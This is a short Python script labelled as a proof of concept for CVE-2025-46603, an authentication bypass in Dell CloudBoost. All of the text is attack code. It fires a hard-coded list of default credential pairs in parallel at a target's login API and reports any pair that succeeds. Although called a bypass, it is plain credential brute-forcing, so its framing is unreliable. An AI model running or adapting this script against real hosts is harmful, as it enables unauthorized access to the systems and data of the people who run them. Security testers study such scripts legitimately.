CVE-2025-46603

# CVE-2025-46603 PoC - Dell CloudBoost Authentication Bypass # Note: This is a conceptual PoC for educational and security testing purposes only # Unauthorized access to systems is illegal import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_HOST = "https://target-cloudboost-host" DEFAULT_PORTS = [443, 8443] COMMON_CREDENTIALS = [ ("admin", "admin"), ("admin", "password"), ("admin", "123456"), ("admin", "Dell123"), ("administrator", "administrator"), ("root", "root"), ("root", "calvin") ] def test_authentication(host, port, username, password): """Test authentication endpoint with given credentials""" try: url = f"{host}:{port}/api/login" data = {"username": username, "password": password} response = requests.post(url, json=data, timeout=10, verify=False) if response.status_code == 200 and "token" in response.text: print(f"[SUCCESS] Valid credentials found: {username}:{password}") return True return False except Exception as e: print(f"[ERROR] {e}") return False def brute_force_attack(host, max_threads=10): """Brute force attack - demonstrates lack of rate limiting""" print(f"[*] Starting brute force attack against {host}") print(f"[*] Testing {len(COMMON_CREDENTIALS)} credential pairs") tasks = [] for port in DEFAULT_PORTS: for username, password in COMMON_CREDENTIALS: tasks.append((host, port, username, password)) with ThreadPoolExecutor(max_workers=max_threads) as executor: results = executor.map(lambda t: test_authentication(*t), tasks) if any(results): print("[!] Authentication bypass successful - rate limiting not enforced") if __name__ == "__main__": if len(sys.argv) > 1: brute_force_attack(sys.argv[1]) else: print("Usage: python cve-2025-46603-poc.py <target_host>")

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